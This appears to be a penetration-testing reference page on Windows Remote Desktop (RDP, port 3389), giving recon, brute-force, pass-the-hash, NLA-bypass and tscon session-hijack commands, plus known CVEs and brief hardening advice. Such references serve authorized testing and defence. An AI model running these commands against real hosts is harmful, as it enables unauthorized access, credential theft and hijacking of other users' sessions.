KagisoSec_
Service bank
REMOTE ACCESS 3389/tcp

RDP

aka Remote Desktop, mstsc, xrdp

Windows Remote Desktop on 3389. Useful for credential spraying and pass-the-hash (restricted admin), leaks domain info pre-auth, and carries wormable CVEs on old hosts.

remote-access windows

Ports

PortProtoNotes
3389tcpRDP

Fingerprint

  • nmap rdp-ntlm-info leaks hostname, domain and OS build pre-auth
  • TLS certificate often names the host

Default / weak creds

  • valid domain/local creds, or an NT hash with restricted admin mode

Known CVEs

CVEImpact
CVE-2019-0708BlueKeep, pre-auth wormable RCE (Win7/2008)
CVE-2019-1181DejaBlue, RDP RCE on newer Windows

Exploitation primitives

  • Credential spray with nxc rdp / hydra
  • Pass-the-hash via restricted admin mode (xfreerdp /pth:)
  • rdp-ntlm-info for domain recon; session hijack with tscon as SYSTEM

Overview

RDP on 3389 is the graphical way onto a Windows host. Even before logging in it leaks domain and build info, and with a password or hash it is a direct interactive session.

Enumeration

Leak domain info pre-auth:

nmap -p3389 --script rdp-ntlm-info <TARGET>

Check encryption / NLA status:

nmap -p3389 --script rdp-enum-encryption <TARGET>

Validate credentials:

nxc rdp <TARGET> -u user -p pass

Brute force:

hydra -t 4 -L users.txt -P passes.txt rdp://<TARGET>

Connecting

Basic connect (self-signed cert is common — /cert:ignore is almost always needed):

xfreerdp /v:<TARGET> /u:user /p:pass /cert:ignore +clipboard /dynamic-resolution

No password (blank/empty):

xfreerdp /v:<TARGET> /u:Administrator /p:'' /cert:ignore

Domain user:

xfreerdp /v:<TARGET> /d:<DOMAIN> /u:user /p:pass /cert:ignore +clipboard /dynamic-resolution

Non-standard port:

xfreerdp /v:<TARGET>:<PORT> /u:user /p:pass /cert:ignore

Force old RDP security layer (bypasses NLA on unpatched hosts):

xfreerdp /v:<TARGET> /u:user /p:pass /sec:rdp /cert:ignore

Share a local folder into the session (useful for file transfers):

xfreerdp /v:<TARGET> /u:user /p:pass /cert:ignore /drive:share,/tmp

rdesktop alternative:

rdesktop -u user -p pass <TARGET>

Pass-the-hash

Restricted admin mode must be enabled on the target (common on modern Windows):

xfreerdp /v:<TARGET> /u:Administrator /pth:<NThash> /cert:ignore /restricted-admin

Domain PTH:

xfreerdp /v:<TARGET> /d:<DOMAIN> /u:Administrator /pth:<NThash> /cert:ignore /restricted-admin

Session hijack (as SYSTEM)

List active sessions:

query session

Hijack another session without a password:

tscon <SESSION_ID> /dest:<YOUR_SESSION_NAME>

Hardening

Require NLA, restrict RDP to admins, enable account lockout, and patch BlueKeep-class CVEs.

References